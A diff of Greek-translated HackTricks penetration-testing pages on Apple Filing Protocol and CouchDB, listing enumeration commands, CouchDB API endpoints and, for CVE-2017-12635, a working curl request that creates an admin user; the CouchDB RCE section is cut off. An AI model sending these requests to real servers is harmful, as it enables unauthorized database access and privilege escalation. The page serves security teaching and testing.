<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,55 +1,57 @@
# 548 - Ελεγκτική δοκιμή Apple Filing Protocol (AFP)
# 548 - Pentesting Apple Filing Protocol (AFP)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Βασικές Πληροφορίες
## Basic Information
Το **Apple Filing Protocol** (**AFP**), πρώην γνωστό ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο δίκτυο πρωτόκολλο που περιλαμβάνεται στην **Apple File Service** (**AFS**). Σχεδιάστηκε για να παρέχει υπηρεσίες αρχείων για το macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων Unicode, δικαιωμάτων POSIX και λίστας ελέγχου πρόσβασης, πηγαίων δεδομένων, ονομασμένων επεκταμένων χαρακτηριστικών και προηγμένων μηχανισμών κλειδώματος αρχείων. Ήταν το κύριο πρωτόκολλο για υπηρεσίες αρχείων στο Mac OS 9 και σε προηγούμενες εκδόσεις.
Το **Apple Filing Protocol** (**AFP**), γνωστό παλαιότερα ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο πρωτόκολλο δικτύου που περιλαμβάνεται στην **Apple File Service** (**AFS**). Είναι σχεδιασμένο για να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων Unicode, δικαιωμάτων POSIX και λιστών ελέγχου πρόσβασης, πόρων forks, ονομασμένων επεκτάσεων χαρακτηριστικών και προηγμένων μηχανισμών κλειδώματος αρχείων. Ήταν το κύριο πρωτόκολλο για υπηρεσίες αρχείων στο Mac OS 9 και σε παλαιότερες εκδόσεις.
**Προεπιλεγμένη Θύρα:** 548
**Default Port:** 548
```bash
PORT STATE SERVICE
548/tcp open afp
```
### **Απαρίθμηση**
Για την απαρίθμηση των υπηρεσιών AFP, χρησιμοποιούνται οι παρακάτω εντολές και σενάρια:
Για την απαρίθμηση των υπηρεσιών AFP, οι παρακάτω εντολές και σενάρια είναι χρήσιμα:
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
```
**Σενάρια και οι Περιγραφές τους:**
**Scripts and Their Descriptions:**
- **afp-ls**: Αυτό το σενάριο χρησιμοποιείται για να εμφανίσει τους διαθέσιμους όγκους και τα αρχεία AFP.
- **afp-path-vuln**: Εμφανίζει όλους τους όγκους και τα αρχεία AFP, επισημαίνοντας πιθανές ευπάθειες.
- **afp-ls**: Αυτό το σενάριο χρησιμοποιείται για να καταγράψει τους διαθέσιμους όγκους και αρχεία AFP.
- **afp-path-vuln**: Καταγράφει όλους τους όγκους και τα αρχεία AFP, επισημαίνοντας πιθανές ευπάθειες.
- **afp-serverinfo**: Παρέχει λεπτομερείς πληροφορίες σχετικά με τον διακομιστή AFP.
- **afp-showmount**: Εμφανίζει τους διαθέσιμους κοινόχρηστους όγκους AFP μαζί με τις αντίστοιχες ACL τους.
- **afp-showmount**: Καταγράφει τις διαθέσιμες κοινές AFP μαζί με τα αντίστοιχα ACL τους.
### [**Βίαιη Δύναμη**](../generic-methodologies-and-resources/brute-force.md#afp)
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,100 +1,91 @@
# 5984,6984 - Ελεγχος ασφαλείας CouchDB
# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Βασικές Πληροφορίες**
## **Basic Information**
Το **CouchDB** είναι μια ευέλικτη και ισχυρή **βάση δεδομένων προσανατολισμένη σε έγγραφα** που οργανώνει τα δεδομένα χρησιμοποιώντας μια δομή **χάρτη-κλειδί** εντός κάθε **έγγραφου**. Τα πεδία μέσα στο έγγραφο μπορούν να αναπαρασταθούν ως **ζεύγη κλειδιού/τιμής, λίστες ή χάρτες**, παρέχοντας ευελιξία στην αποθήκευση και ανάκτηση δεδομένων.
**CouchDB** είναι μια ευέλικτη και ισχυρή **βάση δεδομένων προσανατολισμένη σε έγγραφα** που οργανώνει τα δεδομένα χρησιμοποιώντας μια δομή **χάρτη κλειδιού-τιμής** μέσα σε κάθε **έγγραφο**. Τα πεδία μέσα στο έγγραφο μπορούν να αναπαριστώνται ως **ζεύγη κλειδιού/τιμής, λίστες ή χάρτες**, παρέχοντας ευελιξία στην αποθήκευση και ανάκτηση δεδομένων.
Κάθε **έγγραφο** που αποθηκεύεται στο CouchDB ανατίθεται ένας **μοναδικός αναγνωριστικός αριθμός** (`_id`) στο επίπεδο του εγγράφου. Επιπλέον, κάθε τροποποίηση που γίνεται και αποθηκεύεται στη βάση δεδομένων ανατίθεται ένας **αριθμός αναθεώρησης** (`_rev`). Αυτός ο αριθμός αναθεώρησης επιτρέπει την αποτελεσματική **παρακολούθηση και διαχείριση των αλλαγών**, διευκολύνοντας την εύκολη ανάκτηση και συγχρονισμό των δεδομένων εντός της βάσης δεδομένων.
Κάθε **έγγραφο** που αποθηκεύεται στο CouchDB έχει ανατεθεί μια **μοναδική ταυτότητα** (`_id`) σε επίπεδο εγγράφου. Επιπλέον, κάθε τροποποίηση που γίνεται και αποθηκεύεται στη βάση δεδομένων ανατίθεται έναν **αριθμό αναθεώρησης** (`_rev`). Αυτός ο αριθμός αναθεώρησης επιτρέπει την αποτελεσματική **παρακολούθηση και διαχείριση αλλαγών**, διευκολύνοντας την εύκολη ανάκτηση και συγχρονισμό των δεδομένων μέσα στη βάση δεδομένων.
**Προεπιλεγμένη θύρα:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Αυτόματη Απαρίθμηση**
## **Αυτόματη Καταμέτρηση**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
### Χειροκίνητη Απαρίθμηση
## Manual Enumeration
#### Μπάνερ
Κατά την χειροκίνητη απαρίθμηση, ένας από τους πρώτους τρόπους για να αποκτήσουμε πληροφορίες για ένα CouchDB σύστημα είναι να εξάγουμε το μπάνερ του. Αυτό μπορεί να γίνει με την αποστολή ενός HTTP αιτήματος GET στην αρχική διεύθυνση του CouchDB. Οι πληροφορίες που μπορούμε να αντλήσουμε από το μπάνερ περιλαμβάνουν την έκδοση του CouchDB, το όνομα του συστήματος, το λειτουργικό σύστημα και άλλες σημαντικές πληροφορίες. Αυτές οι πληροφορίες μπορούν να μας βοηθήσουν να κατανοήσουμε καλύτερα το σύστημα και να εντοπίσουμε πιθανές ευπάθειες.
Για να εξάγουμε το μπάνερ του CouchDB, μπορούμε να χρησιμοποιήσουμε την εντολή `curl` ως εξής:
```bash
curl http://<target_ip>:5984/
```
Αντικαταστήστε το `<target_ip>` με την πραγματική διεύθυνση IP του στόχου. Αν η απάντηση περιέχει πληροφορίες για το CouchDB, τότε έχουμε επιτύχει την εξαγωγή του μπάνερ.
### Banner
```
curl http://IP:5984/
```
Αυτό εκδίδει ένα αίτημα GET στην εγκατεστημένη περίπτωση του CouchDB. Η απάντηση θα πρέπει να μοιάζει με μία από τις παρακάτω:
Αυτό εκδίδει ένα αίτημα GET στην εγκατεστημένη έκδοση CouchDB. Η απάντηση θα πρέπει να μοιάζει κάπως με μία από τις παρακάτω:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Σημειώστε ότι αν έχετε πρόσβαση στη ρίζα του couchdb και λάβετε ένα `401 Unauthorized` με κάτι τέτοιο: `{"error":"unauthorized","reason":"Authentication required."}` **δεν θα μπορέσετε να έχετε πρόσβαση** στο banner ή οποιοδήποτε άλλο endpoint.
Σημειώστε ότι αν προσπαθήσετε να αποκτήσετε πρόσβαση στη ρίζα του couchdb και λάβετε ένα `401 Unauthorized` με κάτι σαν αυτό: `{"error":"unauthorized","reason":"Authentication required."}` **δεν θα μπορείτε να αποκτήσετε πρόσβαση** στην πινακίδα ή σε οποιοδήποτε άλλο endpoint.
{% endhint %}
### Ενημέρωση Απαρίθμησης
### Info Enumeration
Αυτά είναι τα endpoints στα οποία μπορείτε να έχετε πρόσβαση με ένα αίτημα **GET** και να εξάγετε κάποιες ενδιαφέρουσες πληροφορίες. Μπορείτε να βρείτε [**περισσότερα endpoints και πιο λεπτομερείς περιγραφές στην τεκμηρίωση του couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
Αυτά είναι τα endpoints όπου μπορείτε να αποκτήσετε πρόσβαση με ένα **GET** αίτημα και να εξαγάγετε κάποιες ενδιαφέρουσες πληροφορίες. Μπορείτε να βρείτε [**περισσότερα endpoints και πιο λεπτομερείς περιγραφές στην τεκμηρίωση του couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Λίστα των εκτελούμενων εργασιών, συμπεριλαμβανομένου του τύπου της εργασίας, του ονόματος, της κατάστασης και του αναγνωριστικού διεργασίας.
* **`/_all_dbs`** Επιστρέφει μια λίστα με όλες τις βάσεις δεδομένων στην περίπτωση του CouchDB.
* **`/_cluster_setup`** Επιστρέφει την κατάσταση του κόμβου ή του cluster, σύμφωνα με τον οδηγό εγκατάστασης του cluster.
* **`/_db_updates`** Επιστρέφει μια λίστα με όλα τα γεγονότα της βάσης δεδομένων στην περίπτωση του CouchDB. Η ύπαρξη της βάσης δεδομένων `_global_changes` απαιτείται για να χρησιμοποιηθεί αυτό το endpoint.
* **`/_membership`** Εμφανίζει τους κόμβους που ανήκουν στο cluster ως `cluster_nodes`. Το πεδίο `all_nodes` εμφανίζει όλους τους κόμβους που γνωρίζει αυτός ο κόμβος, συμπεριλαμβανομένων αυτών που ανήκουν στο cluster.
* **`/_scheduler/jobs`** Λίστα των εργασιών αντιγραφής. Κάθε περιγραφή εργασίας θα περιλαμβάνει πληροφορίες πηγής και προορισμού, αναγνωριστικό αντιγραφής, ιστορικό πρόσφατων γεγονότων και άλλα.
* **`/_scheduler/docs`** Λίστα των καταστάσεων εγγράφου αντιγραφής. Περιλαμβάνει πληροφορίες για όλα τα έγγραφα, ακόμη και σε καταστάσεις `completed` και `failed`. Για κάθε έγγραφο επιστρέφει το αναγνωριστικό εγγράφου, τη βάση δεδομένων, το αναγνωριστικό αντιγραφής, την πηγή και τον προορισμό, καθώς και άλλες πληροφορίες.
* **`/_active_tasks`** Λίστα τρεχουσών εργασιών, συμπεριλαμβανομένου του τύπου εργασίας, ονόματος, κατάστασης και ID διαδικασίας.
* **`/_all_dbs`** Επιστρέφει μια λίστα με όλες τις βάσεις δεδομένων στην εγκατάσταση CouchDB.
* **`/_cluster_setup`** Επιστρέφει την κατάσταση του κόμβου ή του κλάσματος, σύμφωνα με τον οδηγό ρύθμισης κλάσματος.
* **`/_db_updates`** Επιστρέφει μια λίστα με όλα τα γεγονότα βάσης δεδομένων στην εγκατάσταση CouchDB. Η ύπαρξη της βάσης δεδομένων `_global_changes` είναι απαραίτητη για τη χρήση αυτού του endpoint.
* **`/_membership`** Εμφανίζει τους κόμβους που είναι μέρος του κλάσματος ως `cluster_nodes`. Το πεδίο `all_nodes` εμφανίζει όλους τους κόμβους που γνωρίζει αυτός ο κόμβος, συμπεριλαμβανομένων αυτών που είναι μέρος του κλάσματος.
* **`/_scheduler/jobs`** Λίστα εργασιών αναπαραγωγής. Κάθε περιγραφή εργασίας θα περιλαμβάνει πληροφορίες πηγής και προορισμού, ID αναπαραγωγής, ιστορικό πρόσφατων γεγονότων και μερικά άλλα πράγματα.
* **`/_scheduler/docs`** Λίστα καταστάσεων εγγράφων αναπαραγωγής. Περιλαμβάνει πληροφορίες σχετικά με όλα τα έγγραφα, ακόμη και σε καταστάσεις `completed` και `failed`. Για κάθε έγγραφο επιστρέφει το ID εγγράφου, τη βάση δεδομένων, το ID αναπαραγωγής, πηγή και προορισμό, και άλλες πληροφορίες.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Το endpoint `/_node/{node-name}` μπορεί να χρησιμοποιηθεί για να επιβεβαιώσετε το όνομα του κόμβου Erlang του διακομιστή που επεξεργάζεται το αίτημα. Αυτό είναι πιο χρήσιμο όταν έχετε πρόσβαση στο `/_node/_local` για να ανακτήσετε αυτές τις πληροφορίες.
* **`/_node/{node-name}/_stats`** Το αντικείμενο `_stats` επιστρέφει ένα αντικείμενο JSON που περιέχει τα στατιστικά για τον εκτελούμενο διακομιστή. Η συμβολοσειρά `_local` λειτουργεί ως ψευδώνυμο για το όνομα του τοπικού κόμβου, οπότε για όλες τις διευθύνσεις URL στατιστικών, το `{node-name}` μπορεί να αντικατασταθεί με `_local`, για να αλληλεπιδράσετε με τα στατιστικά του τοπικού κόμβου.
* **`/_node/{node-name}/_system`** Το αντικείμενο `_system` επιστρέφει ένα αντικείμενο JSON που περιέχει διάφορα στατιστικά σε επίπεδο συστήματος για τον εκτελούμενο διακομιστή. Μπορείτε να χρησιμοποιήσετε το `_local` ως `{node-name}` για να λάβετε τις τρέχουσες πληροφορίες του κόμβου.
* **`/_node/{node-name}`** Το endpoint `/_node/{node-name}` μπορεί να χρησιμοποιηθεί για να επιβεβαιώσει το όνομα κόμβου Erlang του διακομιστή που επεξεργάζεται το αίτημα. Αυτό είναι πιο χρήσιμο όταν αποκτάτε πρόσβαση στο `/_node/_local` για να ανακτήσετε αυτές τις πληροφορίες.
* **`/_node/{node-name}/_stats`** Ο πόρος `_stats` επιστρέφει ένα αντικείμενο JSON που περιέχει τις στατιστικές για τον τρέχοντα διακομιστή. Η κυριολεκτική συμβολοσειρά `_local` χρησιμεύει ως ψευδώνυμο για το τοπικό όνομα κόμβου, έτσι για όλα τα URLs στατιστικών, το `{node-name}` μπορεί να αντικατασταθεί με `_local`, για να αλληλεπιδράσετε με τις στατιστικές του τοπικού κόμβου.
* **`/_node/{node-name}/_system`** Ο πόρος \_system επιστρέφει ένα αντικείμενο JSON που περιέχει διάφορες στατιστικές σε επίπεδο συστήματος για τον τρέχοντα διακομιστή\_.\_ Μπορείτε να χρησιμοποιήσετε \_\_`_local` ως {node-name} για να αποκτήσετε πληροφορίες σχετικά με τον τρέχοντα κόμβο.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Επιβεβαιώνει ότι ο διακομιστής είναι ενεργός, λειτουργεί και είναι έτοιμος να ανταποκριθεί σε αιτήματα. Εάν η [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) είναι `true` ή `nolb`, το endpoint θα επιστρέψει μια απόκριση 404.
* **`/_uuids`** Ζητά ένα ή περισσότερα Μοναδικά Αναγνωριστικά Παγκοσμίως (UUIDs) από την περίπτωση του CouchDB.
* **`/_reshard`** Επιστρέφει τον αριθμό των ολοκληρωμένων, αποτυχημένων, εκτελούμενων, διακόπτονται και συνολικών εργασιών, μαζί με την κατάσταση της αναδιαμόρφωσης στο cluster.
* **`/_up`** Επιβεβαιώνει ότι ο διακομιστής είναι ενεργός, λειτουργεί και έτοιμος να απαντήσει σε αιτήματα. Αν το [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) είναι `true` ή `nolb`, το endpoint θα επιστρέψει μια απάντηση 404.
* **`/_uuids`** Ζητά ένα ή περισσότερους Καθολικά Μοναδικούς Αναγνωριστές (UUIDs) από την εγκατάσταση CouchDB.
* **`/_reshard`** Επιστρέφει έναν αριθμό ολοκληρωμένων, αποτυχημένων, τρεχουσών, σταματημένων και συνολικών εργασιών μαζί με την κατάσταση της ανακατανομής στο κλάσμα.
Περισσότερες ενδιαφέρουσες πληροφορίες μπορούν να εξαχθούν όπως εξηγείται εδώ: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Λίστα Βάσεων Δεδομένων**
### **Database List**
```
curl -X GET http://IP:5984/_all_dbs
```
Εάν αυτό το αίτημα απαντά με ένα 401 μη εξουσιοδοτημένο, τότε χρειάζεστε κάποια έγκυρα διαπιστευτήρια για να αποκτήσετε πρόσβαση στη βάση δεδομένων:
Αν το αίτημα **απαντήσει με 401 μη εξουσιοδοτημένο**, τότε χρειάζεστε **έγκυρα διαπιστευτήρια** για να αποκτήσετε πρόσβαση στη βάση δεδομένων:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Για να βρείτε έγκυρα διαπιστευτήρια, μπορείτε να **προσπαθήσετε να** [**δοκιμάσετε brute force στην υπηρεσία**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Για να βρείτε έγκυρα Credentials, θα μπορούσατε **να προσπαθήσετε να** [**bruteforce the service**](../generic-methodologies-and-resources/brute-force.md#couchdb).
Αυτό είναι ένα **παράδειγμα** από μια απάντηση του couchdb όταν έχετε **επαρκή δικαιώματα** για να εμφανίσετε τις βάσεις δεδομένων (Είναι απλά μια λίστα με τις βάσεις δεδομένων):
Αυτή είναι ένα **παράδειγμα** μιας **απάντησης** couchdb όταν έχετε **αρκετά δικαιώματα** για να καταγράψετε τις βάσεις δεδομένων (Είναι απλώς μια λίστα με dbs):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Πληροφορίες Βάσης Δεδομένων
### Database Info
Μπορείτε να αποκτήσετε ορισμένες πληροφορίες για τη βάση δεδομένων (όπως αριθμός αρχείων και μεγέθη) αποκτώντας πρόσβαση στο όνομα της βάσης δεδομένων:
Μπορείτε να αποκτήσετε κάποιες πληροφορίες σχετικά με τη βάση δεδομένων (όπως αριθμό αρχείων και μεγέθη) αποκτώντας πρόσβαση στο όνομα της βάσης δεδομένων:
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
@ -103,7 +94,7 @@ curl http://localhost:5984/simpsons
```
### **Λίστα Εγγράφων**
Αναφέρει κάθε καταχώρηση μέσα σε μια βάση δεδομένων
List each entry inside a database
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
@ -118,7 +109,7 @@ curl http://localhost:5984/simpsons/_all_docs
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Ανάγνωση Εγγράφου**
### **Διαβάστε Έγγραφο**
Διαβάστε το περιεχόμενο ενός εγγράφου μέσα σε μια βάση δεδομένων:
```bash
@ -127,38 +118,38 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## Ανόδος Προνομίων στο CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Χάρη στις διαφορές μεταξύ των αναλυτών JSON της Erlang και της JavaScript, μπορείτε να **δημιουργήσετε έναν διαχειριστή χρήστη** με διαπιστευτήρια `hacktricks:hacktricks` με το ακόλουθο αίτημα:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Περισσότερες πληροφορίες για αυτήν την ευπάθεια εδώ**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
[**Περισσότερες πληροφορίες σχετικά με αυτήν την ευπάθεια εδώ**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Επισκόπηση Ασφάλειας Μπισκότου Erlang**
### **Επισκόπηση Ασφαλείας Erlang Cookie**
Παράδειγμα [από εδώ](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Στην τεκμηρίωση του CouchDB, ειδικότερα στην ενότητα που αφορά τη ρύθμιση του cluster ([σύνδεσμος](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), συζητείται η χρήση θυρών από το CouchDB σε κατάσταση cluster. Αναφέρεται ότι, όπως και σε αυτόνομη κατάσταση, χρησιμοποιείται η θύρα `5984`. Επιπλέον, η θύρα `5986` είναι για τις τοπικές διεπαφές των κόμβων και, σημαντικότερο, η Erlang απαιτεί την TCP θύρα `4369` για τον Erlang Port Mapper Daemon (EPMD), που διευκολύνει την επικοινωνία των κόμβων σε ένα Erlang cluster. Αυτή η ρύθμιση δημιουργεί ένα δίκτυο όπου κάθε κόμβος συνδέεται με κάθε άλλο κόμβο.
Στην τεκμηρίωση του CouchDB, συγκεκριμένα στην ενότητα που αφορά τη ρύθμιση του cluster ([σύνδεσμος](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), συζητείται η χρήση θυρών από το CouchDB σε λειτουργία cluster. Αναφέρεται ότι, όπως στη λειτουργία αυτόνομης λειτουργίας, χρησιμοποιείται η θύρα `5984`. Επιπλέον, η θύρα `5986` είναι για APIs τοπικού κόμβου, και σημαντικά, η Erlang απαιτεί την TCP θύρα `4369` για τον Erlang Port Mapper Daemon (EPMD), διευκολύνοντας την επικοινωνία κόμβων εντός ενός cluster Erlang. Αυτή η ρύθμιση σχηματίζει ένα δίκτυο όπου κάθε κόμβος είναι διασυνδεδεμένος με κάθε άλλο κόμβο.
